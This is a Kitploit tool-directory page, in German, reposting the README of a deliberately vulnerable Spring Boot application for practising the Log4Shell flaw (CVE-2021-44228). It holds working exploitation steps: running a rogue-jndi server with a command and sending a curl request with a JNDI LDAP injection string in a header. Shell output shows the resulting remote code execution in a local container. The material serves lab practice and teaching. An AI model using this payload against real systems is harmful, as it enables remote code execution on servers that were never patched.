Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-44228-poc — log4shell-Beispielanwendung (CVE-2021-44228) | Kitploit
Tools/GitHubGitHub/kadantte/cve-2021-44228-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubkadantte/cve-2021-44228-poc

CVE-2021-44228-poc

log4shell-Beispielanwendung (CVE-2021-44228)

Repository anzeigen
43vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4Shell Beispiel einer anfälligen Anwendung (CVE-2021-44228)

Dies ist eine fast identische/ähnliche anfällige Anwendung wie https://github.com/christophetd/log4shell-vulnerable-app

Die Hauptunterschiede sind Maven anstelle von Gradle und die Verwendung von rogue-jndi.

Dieses Repository enthält eine Maven Spring Boot Webanwendung, die anfällig für CVE-2021-44228 ist, auch bekannt als Log4Shell.

Es verwendet Log4j 2.6.1 und JDK Version 1.8.0_181.

Ausführen der Springboot-Anwendung

Erstellen und ausführen der Docker Springboot-Anwendung:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app

Ausnutzung

  1. git clone https://github.com/veracode-research/rogue-jndi
  2. cd rogue-jndi
  3. mvn package
  4. java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"
Tool herunterladen

Öffnen Sie ein zweites Terminal

  1. curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'

Wobei in beiden Fällen 192.168.1.x Ihre IP ist

HINWEIS: Verwenden Sie nicht localhost, sondern Ihre tatsächliche private IP-Adresse.

Überprüfen Sie nun, ob RCE erfolgreich war:

root@kitploit:~
$ docker ps                                 
CONTAINER ID   IMAGE            COMMAND                  CREATED         STATUS         PORTS                                       NAMES
04536dbd1dff   vulnerable-app   "java -jar demo-0.0.…"   2 minutes ago   Up 2 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   gallant_easley
root@kitploit:~
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root                          tomcat-docbase.8080.4585569232401237075
test_if_rce                              tomcat.8080.1707298461175346507

Wie Sie sehen können, existiert die Datei test_if_rce. Das bedeutet, dass RCE erfolgreich war.

HINWEIS

Code und Ideen wurden aus den folgenden Repositories verwendet:

  • https://github.com/rayhan0x01/log4shell-vulnerable-app/tree/mod

  • https://www.lunasec.io/docs/blog/log4j-zero-day/

  • https://github.com/christophetd/log4shell-vulnerable-app